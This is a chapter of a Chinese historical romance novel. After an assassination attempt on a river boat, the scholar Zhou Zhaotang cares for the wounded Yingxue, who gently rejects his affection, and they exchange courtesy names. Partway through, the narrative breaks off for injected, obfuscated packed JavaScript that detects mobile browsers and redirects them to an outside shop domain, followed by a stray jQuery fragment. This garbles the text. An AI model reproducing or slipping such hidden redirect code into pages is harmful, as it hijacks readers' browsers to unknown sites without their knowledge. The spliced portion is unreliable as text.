第12章·吟对雪华诗韵清
暮色四合，如血残阳泼洒在河面上，船继续向北行进。
所有的刺客都被击退，甲板上的碎木和断刃也收拾干净了。
周召棠将映雪抱回后舱榻上。随行郎中来看过，说是外伤不轻，需得卧床静养，待她醒来再作诊断。
青芜端来热水，拧了帕子，小心翼翼替她擦拭脸颊上半干的血迹泪痕。
窗外江风徐来，轻轻拂动映雪鬓角的碎发。她的睫毛不时颤动，双眼却始终没有睁开。
周召棠注视着她脸颊上的掌痕，双拳攥紧，誓要将那刺客碎尸万段。
过了片刻，周荷轻手轻脚地走进来，说邵夫人有事找周召棠。
中舱的木板已经重新钉上，舱内生了炉子，夜风吹拂，仍是春寒料峭。
邵夫人正襟危坐在矮几旁，几上搁着一壶早已凉透的龙井。见二人进来，她对周荷道：“荷姐儿，你先出去。把门带上。”
周荷退下后，邵夫人又指了指对面的凳子，道：“坐。”
周召棠依言坐下。邵夫人长叹一声，道：“苏姑娘、青芜姑娘，还有荷姐儿，都是好孩子。”
她原本对映雪和青芜是存了几分芥蒂的。可今日映雪替她揉按穴位缓解晕船，大敌当前又有勇有谋挡在她身前，她都看在眼里。她活了这把年纪，分得清好赖。
“嗯。”周召棠应了一声，却有些心不在焉。
“苏姑娘怎么样了？”
“还没醒。郎中看过了，说要卧床静养。”
邵夫人看着他，欲言又止，半晌才道：“你跟娘说实话。你对苏姑娘，到底是什么心思？”
周召棠沉默了一会儿，终是坦然道：“娘既然问了，儿子便不该隐瞒。是，儿子确实仰慕苏姑娘。”
邵夫人闭了一下眼睛。她想起映雪挡在自己身前张开双臂的背影，又想起儿子方才抱着她冲进后舱时的表情。她张了张嘴，想说什么，又不知从何说起。
周召棠看着母亲为难的样子，心里也清楚她在担忧什么。他低下头，又道：“可是娘，苏姑娘心里已经有别人了。”
邵夫人愣住了。
周召棠便将映雪与杨济的事说了，又叮嘱母亲此事务必守口如瓶，若传出去，怕是对映雪的清誉有损。
邵夫人听完，沉默了许久许久。她原本对映雪的出身有些介意，但此刻知道了她的遭遇，竟生出一种说不出的心疼。她从小没爹没娘，在教坊司那种地方熬了八年，好不容易有了个知心人，那人却一走了之，连一封信都不来。
“那个姓杨的……”邵夫人开口，声音比方才轻了许多，“八成是不会有消息了。”
周召棠没有说话。
邵夫人叹了口气，走到儿子身边，拍了拍他的肩膀，道：“帮她是应该的。旁的，看缘分吧。”
周召棠回到前舱，守拙和若愚已经审完了刺客。
守拙指了指案上几份供状，道：“这些人出手便是杀招，分明是死士出身，不大可能轻易出卖主家。何况行动前串通口供也并非难事。”他顿了顿，又道，“我听他们总是在说‘茶’，这应该是他们的黑话。”
若愚冷哼道：“这些人的身手与当初西湖边的刺客有几分相似，保不准还是王屏和柳登途的手笔。等到了洛京，大人务必将此事禀报长公主殿下。”
周召棠颔首，目光落在那几份供状上。
守拙、若愚两兄弟跟着他，一路上没少跟世家的死士交手。周召棠早知自己已是世家的眼中钉。
殿试那日的事，仍历历在目。
天子赵璟瑜命人悬出一幅画——一株老槐，枝叶疏落，树干上却缠着几株藤蔓，藤叶郁郁葱葱，竟还开出细碎花朵，攀着枯枝一路往上爬，茂盛得几乎遮住了老槐本来的模样。
满殿进士抬头看了半晌，有人茫然无措，硬着头皮以“父母养育儿女”作答，通篇孝悌之辞，浑然忘了自己身处庙堂之上，面前坐着的是天子。
周召棠猜中了天子的意图，所以被点为状元。高门大姓得知后，自然对他恨之入骨。
但这两次的刺杀，无论背后站着的是沛郡王氏还是伊川原氏，刀锋所向都不止他周召棠一人。
周召棠默然片刻，忽然端端正正地朝守拙若愚抱拳行了一礼，道：“周某有个不情之请，还望两位能答应。”
守拙、若愚大惊失色，连忙躬身还礼。
若愚急声道：“周大人何须如此？真是折煞属下了！”
周召棠神情恭敬，正色道：“周某一介书生，空有报国之志，却无自保之力。这一路走来，每次见两位手刃贼寇，干净利落，周某心中既感激，又羡慕。希望来日，两位能指点周某一二。”
今日在舱中，他眼看着母亲和映雪被刺客劫持，却只能握着短刀站在那里。那一刻，他真真切切地感受到了百无一用是书生。
守拙、若愚互看一眼，都有些动容。这些日子相处下来，他们对这位新科状元了解了不少，知道他既是铁面文臣，亦是性情中人。
守拙郑重抱拳，道：“我兄弟二人，定不负周大人所托！”
当夜，挟持映雪与邵氏的刺客毙命，死于贯入心口的短刀。
因邵夫人身体不适，船行得很慢，直到次日傍晚才望见淮安府的渡口。
所幸，在夕阳将将沉入河面之前，映雪醒了过来。
郎中来把了脉，说并无大碍，只是身子虚，须得再将养几日。
青芜把郎中送出舱，回来时见映雪已经自己撑着榻坐了起来，靠在软枕上，望着窗外。
窗外，余霞散成绮，澄江静如练，却无方才梦里人。
她方才梦见少年时，与杨济在东河边放纸鸢，东风正好，杨柳如烟。梦里他回过头来朝她笑，眉眼还是当年模样，可等她伸手去够他的衣袖，却只抓住了一把粼粼的水光。
一切，不过镜花水月。
“姑娘，你可算醒来了。”青芜坐到榻边，眼圈又红了，一边给她掖被角一边絮叨，“你睡了一天一夜，我真怕……”
映雪转过头看着她，努力抬起手，轻轻抚了抚她的鬓发，笑了起来，声音还有些虚弱：“别怕，我这不是好好的吗？”
两人絮絮说了几句，青芜端了温水来替她擦脸，动作放得极轻，像是怕碰碎了什么。擦到一半，她低声道：“是周大人把你抱回来的。你摔出去的时候他冲得好快，连我都没赶上。我从来没见过一个人能急成那样。”
映雪垂下眼帘，手指无意识地攥紧了被角。她记得自己磕到舱壁的那一瞬间，记得隐约看到了周召棠和青芜，记得自己好像被谁抱起，但之后的便什么都不记得了。
“他……”映雪开口，“周大人现在在哪儿？”
“在前舱。这一日夜，周大人来过好几次，每次都站在床榻边，也不说话，就看看姑娘，站一会儿便走。”青芜抿了抿唇，把声音压低，“姑娘，我觉得，周大人待你确实不一般。”
映雪没有说话。她把目光重新投向窗外。方才，梦里杨济的笑脸还残留在她脑海。如今醒来，却发现杨济远在天边，而近在咫尺的，是对她关怀备至的周召棠。
她心里很乱。那些剪不断理还乱的思绪里，让她最不安的，就是周召棠。
他做这些，究竟是为了报恩，还是别的什么？她不敢往下想了。
她不是那种对男女之事懵懂无知的女子，在春水楼待了八年，她看过许多男子。一个男子对一个女子紧张到这个地步，绝不是恩情能解释的。
想到此处，映雪掀开被子，道：“帮我梳洗一下，我去见周大人。”
青芜一愣：“姑娘，你才刚醒，好歹吃点东西吧。”说着把炉子上一直热着的粥端来。
映雪端起那碗粥，勉强喝了两口便搁下了。她扶着青芜的手臂站起来，拢了拢散在肩上的长发，对着铜镜看了一眼自己苍白的脸，略整了整衣襟。
“走吧。”她道，“只是说几句话，不打紧。”
映雪走到前舱时，周芾正抱臂靠在舱门边闭目养神。船身微微一晃，他便警觉地睁开眼，瞧见来人是映雪，顿时露出喜色：“苏姑娘，你醒了！”
映雪微微颔首，道：“多谢周大哥关心。”
周芾侧身推开舱门，朝里头扬声道：“棠哥儿，苏姑娘醒了！”
舱内烛火摇晃。周召棠正坐在案前，手里握着一卷书。听见这一声，他先是怔了怔，随即放下书卷便起身相迎，道：“苏姑娘何时醒的？怎么不多躺会儿，这就起身了？”
映雪拢了拢披风，含笑行礼：“刚醒，便想着来向大人道谢。”
青芜知道映雪有话要说，便悄悄向周芾使了眼色，两人无声退了出去，将舱门轻轻合上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963626|214388||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“苏姑娘，道谢的话就不必再说了。”周召棠抬手请她落座，“本就是你有恩于我。”
映雪依言坐下，却没有顺着他递来的话往下接。她抬起眼，望着他，道：“那便不说了。我来是想跟大人说几句心里话。”
她的双手交叠在膝上，手指却紧张地微微蜷起。这番话她方才时便在心底一字一句地斟酌过了，虽然不好说出口，但却不能不说。
“大人待我的好，我不是不知道。”她停了停，将目光从他脸上移开，“只是我心里已经有了云帆。我等了他很久，这次去洛京，不管结果如何，都是我给自己的一个交代。”
她说完，终于松了一口气。她知道周召棠是个聪明人，定能听懂她的意思，也相信他能放下。
她有些庆幸，自己和周召棠才认识不过几日，即便他心里有男女之情，大约也才刚开始萌芽，还没有到刻骨铭心的地步，断了也就断了，不会太难过。不像自己，情意已经在心里生了根，强行拔除只会鲜血淋漓。
她垂下眼帘，等着他的回应。
周召棠沉默良久。
他并非毫无准备，他也想象过被她拒绝的情景。可当这一刻真正到来时，他还是有些不知所措。
他喜欢她，不是从这几日开始的。
或许是从七年前那个阴雨天开始的。她撑伞俯身，声音如西湖柔波。
又或许是从收集她的诗词开始的。他将那些纸页压在枕下，夜深人静时翻出来读。
可那时他不过是个穷酸书生，不敢靠近，不敢打听，更不敢开口。他只想着，等一等，再等一等，等自己有了出息，等自己能堂堂正正站在她面前。
如今他成了新科状元，终于能坦坦荡荡站在她面前了。可她的心里早已住了别人。
这些话太沉重，他不能说。说了，只会压得她喘不过气，徒增烦恼和负担。
他不能让她为难。
于是，周召棠淡淡一笑，将所有的波澜压下：“苏姑娘的意思我明白。你放心，我不会多想，更不会让你为难。”
映雪看着他，心里松了口气，又生出一丝说不清道不明的怅然。
周召棠看着她放松下来的眉梢，心底却蓦地浮起另一个念头。
倘若她知道了真相呢？
倘若她知道杨济即将与原四小姐成婚，她一定会十分难过吧。到那时候，他能不能……趁虚而入？
这个念头冒出来的一瞬间，周召棠便被自己骇住了。
他在想什么？他竟然在盼她难过，盼她心碎。
他为自己的想法感到羞耻，可又禁不住幻想，幻想她得知真相后，一把推开杨济，找自己倾诉的样子。
他深吸一口气，将那罪恶的念头一点一点摁回去，轻声道：“苏姑娘。在下虽无觊觎之心，却很愿意与姑娘做朋友。”
还是一步步来吧。
他微微一顿，像是斟酌了片刻，才续道：“若姑娘愿意，以后就不要叫我周大人了。我的表字是‘荫之’，树成荫而众鸟息焉。”
他说这话时，眼神真挚，真的像是一个诚意满满的朋友。
映雪微微一愣，随即明白了他的意思。朋友之间，不必大人来姑娘去的，称呼表字即可。
她心里温暖，展颜一笑，从善如流地唤了一声：“那便恭敬不如从命了，荫之。”
这声“荫之”叫出口，她忽然觉得自在多了。略一停顿，她又说：“我的小字是‘瑶华’。”
“瑶华。”周召棠不自觉地重复了一遍，随即展颜，吟道，“折疏麻兮瑶华，将以遗兮离居。”
“正是。”她笑应道。
周召棠若有所思：“瑶华、映雪，都是冰清玉洁之意。令尊令堂取这两个名字，定然是把你放在心尖上的。”
映雪微微一愣。当年，父母给她取名与小字时，便是取仙家玉英、白雪无尘之意。
两人又说了几句，周召棠说映雪伤还没好，不宜久坐，便催她回去歇息了。
舱门在她身后轻轻合上。周召棠低头看着案上那卷从头至尾不曾翻过一页的书，忽然觉得自己有些可笑。
他伸手将书卷往旁边一推，却碰到了搁在案角的那只水红色绣花荷包。
他愣了一瞬，将荷包拿起握在掌心，嗅着其中的清苦香气，自嘲一笑。
“瑶华……”